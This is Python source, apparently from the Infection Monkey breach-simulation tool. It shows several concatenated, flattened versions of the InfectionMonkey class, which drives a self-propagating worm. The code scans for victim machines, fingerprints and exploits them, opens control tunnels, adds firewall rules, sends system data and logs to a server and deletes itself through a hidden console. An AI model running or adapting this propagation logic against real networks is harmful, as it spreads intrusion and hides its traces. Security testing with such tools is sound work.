def __init__(self, args): self._keep_running = False self._exploited_machines = set() self._fail_exploitation_machines = set() self._singleton = SystemSingleton() self._parent = None self._default_tunnel = None self._args = args self._network = None self._dropper_path = None self._exploiters = None self._fingerprint = None self._default_server = None self._depth = 0 self._opts = None self._upgrading_to_64 = False
class InfectionMonkey(object): def __init__(self, args): self._keep_running = False self._exploited_machines = set() self._fail_exploitation_machines = set() self._singleton = SystemSingleton() self._parent = None self._default_tunnel = None self._args = args self._network = None self._dropper_path = None self._exploiters = None self._fingerprint = None self._default_server = None self._default_server_port = None self._depth = 0 self._opts = None self._upgrading_to_64 = False def initialize(self): LOG.info("Monkey is initializing...") if not self._singleton.try_lock(): raise Exception( "Another instance of the monkey is already running") arg_parser = argparse.ArgumentParser() arg_parser.add_argument('-p', '--parent') arg_parser.add_argument('-t', '--tunnel') arg_parser.add_argument('-s', '--server') arg_parser.add_argument('-d', '--depth', type=int) arg_parser.add_argument('-vp', '--vulnerable-port') self._opts, self._args = arg_parser.parse_known_args(self._args) self.log_arguments() self._parent = self._opts.parent self._default_tunnel = self._opts.tunnel self._default_server = self._opts.server if self._opts.depth is not None: WormConfiguration._depth_from_commandline = True WormConfiguration.depth = self._opts.depth LOG.debug(f"Setting propagation depth from command line") LOG.debug(f"Set propagation depth to {WormConfiguration.depth}") self._keep_running = True self._network = NetworkScanner() self._dropper_path = sys.argv[0] if self._default_server: if self._default_server not in WormConfiguration.command_servers: LOG.debug("Added default server: %s" % self._default_server) WormConfiguration.command_servers.insert( 0, self._default_server) else: LOG.debug( "Default server: %s is already in command servers list" % self._default_server) def start(self): try: LOG.info("Monkey is starting...") LOG.debug("Starting the setup phase.") # Sets island's IP and port for monkey to communicate to self.set_default_server() self.set_default_port() # Create a dir for monkey files if there isn't one create_monkey_dir() self.upgrade_to_64_if_needed() ControlClient.wakeup(parent=self._parent) ControlClient.load_control_config() if is_windows_os(): T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send() self.shutdown_by_not_alive_config() if self.is_started_on_island(): ControlClient.report_start_on_island() ControlClient.should_monkey_run(self._opts.vulnerable_port) if firewall.is_enabled(): firewall.add_firewall_rule() monkey_tunnel = ControlClient.create_control_tunnel() if monkey_tunnel: monkey_tunnel.start() StateTelem(is_done=False, version=get_version()).send() TunnelTelem().send() LOG.debug("Starting the post-breach phase.") self.collect_system_info_if_configured() PostBreach().execute_all_configured() LOG.debug("Starting the propagation phase.") self.shutdown_by_max_depth_reached() for iteration_index in range(WormConfiguration.max_iterations): ControlClient.keepalive() ControlClient.load_control_config() self._network.initialize() self._fingerprint = HostFinger.get_instances() self._exploiters = HostExploiter.get_classes() if not self._keep_running or not WormConfiguration.alive: break machines = self._network.get_victim_machines( max_find=WormConfiguration.victims_max_find, stop_callback=ControlClient.check_for_stop) is_empty = True for machine in machines: if ControlClient.check_for_stop(): break is_empty = False for finger in self._fingerprint: LOG.info( "Trying to get OS fingerprint from %r with module %s", machine, finger.__class__.__name__) finger.get_host_fingerprint(machine) ScanTelem(machine).send() # skip machines that we've already exploited if machine in self._exploited_machines: LOG.debug("Skipping %r - already exploited", machine) continue elif machine in self._fail_exploitation_machines: if WormConfiguration.retry_failed_explotation: LOG.debug( "%r - exploitation failed before, trying again", machine) else: LOG.debug( "Skipping %r - exploitation failed before", machine) continue if monkey_tunnel: monkey_tunnel.set_tunnel_for_host(machine) if self._default_server: if self._network.on_island(self._default_server): machine.set_default_server( get_interface_to_target(machine.ip_addr) + (':' + self._default_server_port if self. _default_server_port else '')) else: machine.set_default_server(self._default_server) LOG.debug("Default server for machine: %r set to %s" % (machine, machine.default_server)) # Order exploits according to their type self._exploiters = sorted( self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value) host_exploited = False for exploiter in [ exploiter(machine) for exploiter in self._exploiters ]: if self.try_exploiting(machine, exploiter): host_exploited = True VictimHostTelem('T1210', ScanStatus.USED, machine=machine).send() break if not host_exploited: self._fail_exploitation_machines.add(machine) VictimHostTelem('T1210', ScanStatus.SCANNED, machine=machine).send() if not self._keep_running: break if (not is_empty) and (WormConfiguration.max_iterations > iteration_index + 1): time_to_sleep = WormConfiguration.timeout_between_iterations LOG.info( "Sleeping %d seconds before next life cycle iteration", time_to_sleep) time.sleep(time_to_sleep) if self._keep_running and WormConfiguration.alive: LOG.info("Reached max iterations (%d)", WormConfiguration.max_iterations) elif not WormConfiguration.alive: LOG.info("Marked not alive from configuration") # if host was exploited, before continue to closing the tunnel ensure the exploited host had its chance to # connect to the tunnel if len(self._exploited_machines) > 0: time_to_sleep = WormConfiguration.keep_tunnel_open_time LOG.info( "Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep) time.sleep(time_to_sleep) if monkey_tunnel: monkey_tunnel.stop() monkey_tunnel.join() except PlannedShutdownException: LOG.info( "A planned shutdown of the Monkey occurred. Logging the reason and finishing execution." ) LOG.exception("Planned shutdown, reason:") def shutdown_by_max_depth_reached(self): if 0 == WormConfiguration.depth: TraceTelem(MAX_DEPTH_REACHED_MESSAGE).send() raise PlannedShutdownException(MAX_DEPTH_REACHED_MESSAGE) else: LOG.debug("Running with depth: %d" % WormConfiguration.depth) def collect_system_info_if_configured(self): LOG.debug("Calling system info collection") system_info_collector = SystemInfoCollector() system_info = system_info_collector.get_info() SystemInfoTelem(system_info).send() def shutdown_by_not_alive_config(self): if not WormConfiguration.alive: raise PlannedShutdownException( "Marked 'not alive' from configuration.") def upgrade_to_64_if_needed(self): if WindowsUpgrader.should_upgrade(): self._upgrading_to_64 = True self._singleton.unlock() LOG.info("32bit monkey running on 64bit Windows. Upgrading.") WindowsUpgrader.upgrade(self._opts) raise PlannedShutdownException( "Finished upgrading from 32bit to 64bit.") def cleanup(self): LOG.info("Monkey cleanup started") self._keep_running = False if self._upgrading_to_64: InfectionMonkey.close_tunnel() firewall.close() else: StateTelem(is_done=True, version=get_version()).send( ) # Signal the server (before closing the tunnel) InfectionMonkey.close_tunnel() firewall.close() if WormConfiguration.send_log_to_server: self.send_log() self._singleton.unlock() InfectionMonkey.self_delete() LOG.info("Monkey is shutting down") @staticmethod def close_tunnel(): tunnel_address = ControlClient.proxies.get('https', '').replace( 'https://', '').split(':')[0] if tunnel_address: LOG.info("Quitting tunnel %s", tunnel_address) tunnel.quit_tunnel(tunnel_address) @staticmethod def self_delete(): status = ScanStatus.USED if remove_monkey_dir() else ScanStatus.SCANNED T1107Telem(status, get_monkey_dir_path()).send() if WormConfiguration.self_delete_in_cleanup \ and -1 == sys.executable.find('python'): try: status = None if "win32" == sys.platform: from subprocess import (CREATE_NEW_CONSOLE, STARTF_USESHOWWINDOW, SW_HIDE) startupinfo = subprocess.STARTUPINFO() startupinfo.dwFlags = CREATE_NEW_CONSOLE | STARTF_USESHOWWINDOW startupinfo.wShowWindow = SW_HIDE subprocess.Popen(DELAY_DELETE_CMD % {'file_path': sys.executable}, stdin=None, stdout=None, stderr=None, close_fds=True, startupinfo=startupinfo) else: os.remove(sys.executable) status = ScanStatus.USED except Exception as exc: LOG.error("Exception in self delete: %s", exc) status = ScanStatus.SCANNED if status: T1107Telem(status, sys.executable).send() def send_log(self): monkey_log_path = get_monkey_log_path() if os.path.exists(monkey_log_path): with open(monkey_log_path, 'r') as f: log = f.read() else: log = '' ControlClient.send_log(log) def try_exploiting(self, machine, exploiter): """ Workflow of exploiting one machine with one exploiter :param machine: Machine monkey tries to exploit :param exploiter: Exploiter to use on that machine :return: True if successfully exploited, False otherwise """ if not exploiter.is_os_supported(): LOG.info("Skipping exploiter %s host:%r, os is not supported", exploiter.__class__.__name__, machine) return False LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__) result = False try: result = exploiter.exploit_host() if result: self.successfully_exploited(machine, exploiter) return True else: LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__) except ExploitingVulnerableMachineError as exc: LOG.error("Exception while attacking %s using %s: %s", machine, exploiter.__class__.__name__, exc) self.successfully_exploited(machine, exploiter) return True except FailedExploitationError as e: LOG.info("Failed exploiting %r with exploiter %s, %s", machine, exploiter.__class__.__name__, e) except Exception as exc: LOG.exception("Exception while attacking %s using %s: %s", machine, exploiter.__class__.__name__, exc) finally: exploiter.send_exploit_telemetry(result) return False def successfully_exploited(self, machine, exploiter): """ Workflow of registering successfully exploited machine :param machine: machine that was exploited :param exploiter: exploiter that succeeded """ self._exploited_machines.add(machine) LOG.info("Successfully propagated to %s using %s", machine, exploiter.__class__.__name__) # check if max-exploitation limit is reached if WormConfiguration.victims_max_exploit <= len( self._exploited_machines): self._keep_running = False LOG.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit) def set_default_port(self): try: self._default_server_port = self._default_server.split(':')[1] except KeyError: self._default_server_port = '' def set_default_server(self): """ Sets the default server for the Monkey to communicate back to. :raises PlannedShutdownException if couldn't find the server. """ if not ControlClient.find_server(default_tunnel=self._default_tunnel): raise PlannedShutdownException( "Monkey couldn't find server with {} default tunnel.".format( self._default_tunnel)) self._default_server = WormConfiguration.current_server LOG.debug("default server set to: %s" % self._default_server) def is_started_on_island(self): island_ip = get_host_from_network_location(self._default_server) return is_running_on_server( island_ip ) and WormConfiguration.depth == WormConfiguration.max_depth def log_arguments(self): arg_string = " ".join( [f"{key}: {value}" for key, value in vars(self._opts).items()]) LOG.info(f"Monkey started with arguments: {arg_string}")
class InfectionMonkey(object): def __init__(self, args): self._keep_running = False self._exploited_machines = set() self._fail_exploitation_machines = set() self._singleton = SystemSingleton() self._parent = None self._default_tunnel = None self._args = args self._network = None self._dropper_path = None self._exploiters = None self._fingerprint = None self._default_server = None self._depth = 0 self._opts = None self._upgrading_to_64 = False def initialize(self): LOG.info("Monkey is initializing...") if not self._singleton.try_lock(): raise Exception( "Another instance of the monkey is already running") arg_parser = argparse.ArgumentParser() arg_parser.add_argument('-p', '--parent') arg_parser.add_argument('-t', '--tunnel') arg_parser.add_argument('-s', '--server') arg_parser.add_argument('-d', '--depth', type=int) self._opts, self._args = arg_parser.parse_known_args(self._args) self._parent = self._opts.parent self._default_tunnel = self._opts.tunnel self._default_server = self._opts.server if self._opts.depth: WormConfiguration._depth_from_commandline = True self._keep_running = True self._network = NetworkScanner() self._dropper_path = sys.argv[0] if self._default_server: if self._default_server not in WormConfiguration.command_servers: LOG.debug("Added default server: %s" % self._default_server) WormConfiguration.command_servers.insert( 0, self._default_server) else: LOG.debug( "Default server: %s is already in command servers list" % self._default_server) def start(self): LOG.info("Monkey is running...") if not ControlClient.find_server(default_tunnel=self._default_tunnel): LOG.info("Monkey couldn't find server. Going down.") return # Create a dir for monkey files if there isn't one utils.create_monkey_dir() if WindowsUpgrader.should_upgrade(): self._upgrading_to_64 = True self._singleton.unlock() LOG.info("32bit monkey running on 64bit Windows. Upgrading.") WindowsUpgrader.upgrade(self._opts) return ControlClient.wakeup(parent=self._parent) ControlClient.load_control_config() if not WormConfiguration.alive: LOG.info("Marked not alive from configuration") return if firewall.is_enabled(): firewall.add_firewall_rule() monkey_tunnel = ControlClient.create_control_tunnel() if monkey_tunnel: monkey_tunnel.start() ControlClient.send_telemetry("state", {'done': False}) self._default_server = WormConfiguration.current_server LOG.debug("default server: %s" % self._default_server) ControlClient.send_telemetry( "tunnel", {'proxy': ControlClient.proxies.get('https')}) if WormConfiguration.collect_system_info: LOG.debug("Calling system info collection") system_info_collector = SystemInfoCollector() system_info = system_info_collector.get_info() ControlClient.send_telemetry("system_info_collection", system_info) for action_class in WormConfiguration.post_breach_actions: action = action_class() action.act() PostBreach().execute() if 0 == WormConfiguration.depth: LOG.debug("Reached max depth, shutting down") ControlClient.send_telemetry("trace", "Reached max depth, shutting down") return else: LOG.debug("Running with depth: %d" % WormConfiguration.depth) for iteration_index in xrange(WormConfiguration.max_iterations): ControlClient.keepalive() ControlClient.load_control_config() self._network.initialize() self._exploiters = WormConfiguration.exploiter_classes self._fingerprint = [ fingerprint() for fingerprint in WormConfiguration.finger_classes ] if not self._keep_running or not WormConfiguration.alive: break machines = self._network.get_victim_machines( max_find=WormConfiguration.victims_max_find, stop_callback=ControlClient.check_for_stop) is_empty = True for machine in machines: if ControlClient.check_for_stop(): break is_empty = False for finger in self._fingerprint: LOG.info( "Trying to get OS fingerprint from %r with module %s", machine, finger.__class__.__name__) finger.get_host_fingerprint(machine) ControlClient.send_telemetry('scan', { 'machine': machine.as_dict(), }) # skip machines that we've already exploited if machine in self._exploited_machines: LOG.debug("Skipping %r - already exploited", machine) continue elif machine in self._fail_exploitation_machines: if WormConfiguration.retry_failed_explotation: LOG.debug( "%r - exploitation failed before, trying again", machine) else: LOG.debug("Skipping %r - exploitation failed before", machine) continue if monkey_tunnel: monkey_tunnel.set_tunnel_for_host(machine) if self._default_server: LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine)) machine.set_default_server(self._default_server) # Order exploits according to their type self._exploiters = sorted( self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value) host_exploited = False for exploiter in [ exploiter(machine) for exploiter in self._exploiters ]: if self.try_exploiting(machine, exploiter): host_exploited = True VictimHostTelem('T1210', ScanStatus.USED.value, machine=machine).send() break if not host_exploited: self._fail_exploitation_machines.add(machine) VictimHostTelem('T1210', ScanStatus.SCANNED.value, machine=machine).send() if not self._keep_running: break if (not is_empty) and (WormConfiguration.max_iterations > iteration_index + 1): time_to_sleep = WormConfiguration.timeout_between_iterations LOG.info( "Sleeping %d seconds before next life cycle iteration", time_to_sleep) time.sleep(time_to_sleep) if self._keep_running and WormConfiguration.alive: LOG.info("Reached max iterations (%d)", WormConfiguration.max_iterations) elif not WormConfiguration.alive: LOG.info("Marked not alive from configuration") # if host was exploited, before continue to closing the tunnel ensure the exploited host had its chance to # connect to the tunnel if len(self._exploited_machines) > 0: time_to_sleep = WormConfiguration.keep_tunnel_open_time LOG.info( "Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep) time.sleep(time_to_sleep) if monkey_tunnel: monkey_tunnel.stop() monkey_tunnel.join() def cleanup(self): LOG.info("Monkey cleanup started") self._keep_running = False if self._upgrading_to_64: InfectionMonkey.close_tunnel() firewall.close() else: ControlClient.send_telemetry( "state", {'done': True }) # Signal the server (before closing the tunnel) InfectionMonkey.close_tunnel() firewall.close() if WormConfiguration.send_log_to_server: self.send_log() self._singleton.unlock() utils.remove_monkey_dir() InfectionMonkey.self_delete() LOG.info("Monkey is shutting down") @staticmethod def close_tunnel(): tunnel_address = ControlClient.proxies.get('https', '').replace( 'https://', '').split(':')[0] if tunnel_address: LOG.info("Quitting tunnel %s", tunnel_address) tunnel.quit_tunnel(tunnel_address) @staticmethod def self_delete(): if WormConfiguration.self_delete_in_cleanup \ and -1 == sys.executable.find('python'): try: if "win32" == sys.platform: from _subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE startupinfo = subprocess.STARTUPINFO() startupinfo.dwFlags = CREATE_NEW_CONSOLE | STARTF_USESHOWWINDOW startupinfo.wShowWindow = SW_HIDE subprocess.Popen(DELAY_DELETE_CMD % {'file_path': sys.executable}, stdin=None, stdout=None, stderr=None, close_fds=True, startupinfo=startupinfo) else: os.remove(sys.executable) except Exception as exc: LOG.error("Exception in self delete: %s", exc) def send_log(self): monkey_log_path = utils.get_monkey_log_path() if os.path.exists(monkey_log_path): with open(monkey_log_path, 'r') as f: log = f.read() else: log = '' ControlClient.send_log(log) def try_exploiting(self, machine, exploiter): """ Workflow of exploiting one machine with one exploiter :param machine: Machine monkey tries to exploit :param exploiter: Exploiter to use on that machine :return: True if successfully exploited, False otherwise """ if not exploiter.is_os_supported(): LOG.info("Skipping exploiter %s host:%r, os is not supported", exploiter.__class__.__name__, machine) return False LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__) result = False try: result = exploiter.exploit_host() if result: self.successfully_exploited(machine, exploiter) return True else: LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__) except Exception as exc: LOG.exception("Exception while attacking %s using %s: %s", machine, exploiter.__class__.__name__, exc) finally: exploiter.send_exploit_telemetry(result) return False def successfully_exploited(self, machine, exploiter): """ Workflow of registering successfully exploited machine :param machine: machine that was exploited :param exploiter: exploiter that succeeded """ self._exploited_machines.add(machine) LOG.info("Successfully propagated to %s using %s", machine, exploiter.__class__.__name__) # check if max-exploitation limit is reached if WormConfiguration.victims_max_exploit <= len( self._exploited_machines): self._keep_running = False LOG.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit)